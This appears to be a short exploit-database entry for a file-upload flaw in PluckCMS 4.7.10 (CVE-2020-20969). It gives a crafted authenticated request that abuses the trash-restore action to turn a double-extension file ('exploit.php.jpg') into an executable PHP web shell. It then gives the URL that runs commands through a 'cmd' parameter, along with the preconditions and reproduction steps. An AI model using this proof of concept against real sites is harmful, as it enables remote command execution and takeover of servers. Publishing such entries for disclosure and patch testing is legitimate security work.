PluckCMS 4.7.10 – Unrestricted File Upload
# Exploit Title: PluckCMS 4.7.10 - Unrestricted File Upload # Date: 2025-11-25 # Exploit Author: CodeSecLab # Vendor Homepage: https://github.com/pluck-cms/pluck/ # Software Link: https://github.com/pluck-cms/pluck/ # Version: 4.7.10 # Tested on: Windows # CVE : CVE-2020-20969 Proof Of Concept GET /admin.php?action=trash_restoreitem&var1=exploit.php.jpg&var2=file HTTP/1.1 Host: pluck Cookie: PHPSESSID=[valid_session_id] **Access Method:** http://pluck/files/exploit_copy.php?cmd=id **Additional Conditions:** 1. Valid session cookie required (authenticated attack) 2. File `exploit.php.jpg` must exist in `data/trash/files/` before restoration 3. Server must not filter double extensions during file upload/trash operations Steps to Reproduce Log in as an admin user. Intercept and send the malicious request using a web proxy tool such as Burp Suite, ensure it includes a valid session cookie. The file will be restored and can be accessed through the url. |